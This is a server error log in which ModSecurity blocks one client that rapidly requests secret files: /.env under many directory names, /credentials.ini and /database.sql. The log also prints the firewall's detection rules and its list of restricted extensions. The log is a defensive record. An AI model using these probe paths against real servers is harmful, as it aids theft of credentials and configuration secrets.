[Tue Oct 27 05:23:45.237367 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTQAAAAI"]
[Tue Oct 27 05:23:45.237496 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTQAAAAI"]
[Tue Oct 27 05:23:45.237722 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTQAAAAI"]
[Tue Oct 27 05:23:45.243287 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBtoZVvqGtwGAy54pYOYwAAAA0"]
[Tue Oct 27 05:23:45.243489 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBtoZVvqGtwGAy54pYOYwAAAA0"]
[Tue Oct 27 05:23:45.243735 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBtoZVvqGtwGAy54pYOYwAAAA0"]
[Tue Oct 27 05:23:45.264031 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBtoZKov8XCMSQ3KFeUvQAAAAs"]
[Tue Oct 27 05:23:45.264301 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBtoZKov8XCMSQ3KFeUvQAAAAs"]
[Tue Oct 27 05:23:45.264533 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBtoZKov8XCMSQ3KFeUvQAAAAs"]
[Tue Oct 27 05:23:45.265034 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7gAAABc"]
[Tue Oct 27 05:23:45.265189 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7gAAABc"]
[Tue Oct 27 05:23:45.265446 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7gAAABc"]
[Tue Oct 27 05:23:45.295606 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsgAAAAo"]
[Tue Oct 27 05:23:45.295817 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsgAAAAo"]
[Tue Oct 27 05:23:45.296140 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsgAAAAo"]
[Tue Oct 27 05:23:45.326681 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBtofNweTK95FG6k466pQAAABQ"]
[Tue Oct 27 05:23:45.326818 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBtofNweTK95FG6k466pQAAABQ"]
[Tue Oct 27 05:23:45.327064 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBtofNweTK95FG6k466pQAAABQ"]
[Tue Oct 27 05:23:45.341159 2026] [proxy_fcgi:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:23:45.371502 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBtoUQFomyjz0g-y4eOswAAAAo"]
[Tue Oct 27 05:23:45.371709 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBtoUQFomyjz0g-y4eOswAAAAo"]
[Tue Oct 27 05:23:45.372009 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBtoUQFomyjz0g-y4eOswAAAAo"]
[Tue Oct 27 05:23:45.388411 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBtoWBUeABT7S80KTVFmAAAABY"]
[Tue Oct 27 05:23:45.388603 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBtoWBUeABT7S80KTVFmAAAABY"]
[Tue Oct 27 05:23:45.388740 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBtoREnDOWBtFG5jRP7AgAAAAw"]
[Tue Oct 27 05:23:45.388899 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBtoREnDOWBtFG5jRP7AgAAAAw"]
[Tue Oct 27 05:23:45.388967 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBtoWBUeABT7S80KTVFmAAAABY"]
[Tue Oct 27 05:23:45.389158 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBtoREnDOWBtFG5jRP7AgAAAAw"]
[Tue Oct 27 05:23:45.389855 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTwAAAAI"]
[Tue Oct 27 05:23:45.389988 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTwAAAAI"]
[Tue Oct 27 05:23:45.390200 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSTwAAAAI"]
[Tue Oct 27 05:23:45.395500 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:23:45.402054 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBtofNweTK95FG6k466pgAAABQ"]
[Tue Oct 27 05:23:45.402269 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBtofNweTK95FG6k466pgAAABQ"]
[Tue Oct 27 05:23:45.402495 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBtofNweTK95FG6k466pgAAABQ"]
[Tue Oct 27 05:23:45.416848 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUvwAAAAs"]
[Tue Oct 27 05:23:45.416989 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUvwAAAAs"]
[Tue Oct 27 05:23:45.417263 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUvwAAAAs"]
[Tue Oct 27 05:23:45.465614 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSUAAAAAI"]
